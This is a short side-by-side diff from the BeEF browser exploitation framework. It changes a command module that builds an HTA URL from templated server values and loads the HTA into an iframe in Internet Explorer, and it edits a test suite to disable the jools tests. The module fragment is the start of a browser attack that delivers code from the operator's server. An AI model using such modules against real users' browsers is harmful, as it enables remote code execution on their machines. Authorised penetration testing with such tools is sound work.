// See the file 'doc/COPYING' for copying permission // See the file 'doc/COPYING' for copying permission
// //
beef.execute(function () { beef.execute(function(){
var hta_url = '<%= @ps_url %>' + '/hta'; var hta_url = '<%= @domain %>' + '<%= @ps_url %>' + '/hta';
if (beef.browser.isIE()) { if (beef.browser.isIE()) {
// application='yes' is IE-only and needed to load the HTA into an IFrame. // application='yes' is IE-only and needed to load the HTA into an IFrame.

View File

@@ -15,7 +15,7 @@ require 'selenium/webdriver'
require './check_environment' # Basic log in and log out tests require './check_environment' # Basic log in and log out tests
require './tc_debug_modules' # RESTful API tests (as well as debug modules) require './tc_debug_modules' # RESTful API tests (as well as debug modules)
require './tc_login' # Basic log in and log out tests require './tc_login' # Basic log in and log out tests
require './tc_jools' # Basic tests for jools #require './tc_jools' # Basic tests for jools
#require './tc_dns_rest' # Basic tests for DNS RESTful API interface #require './tc_dns_rest' # Basic tests for DNS RESTful API interface
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
@@ -26,7 +26,7 @@ class TS_BeefIntegrationTests
suite << TC_CheckEnvironment.suite suite << TC_CheckEnvironment.suite
suite << TC_login.suite suite << TC_login.suite
suite << TC_DebugModules.suite suite << TC_DebugModules.suite
suite << TC_Jools.suite #suite << TC_Jools.suite
#suite << TC_DnsRest.suite #suite << TC_DnsRest.suite
suite << TC_SocialEngineeringRest.suite suite << TC_SocialEngineeringRest.suite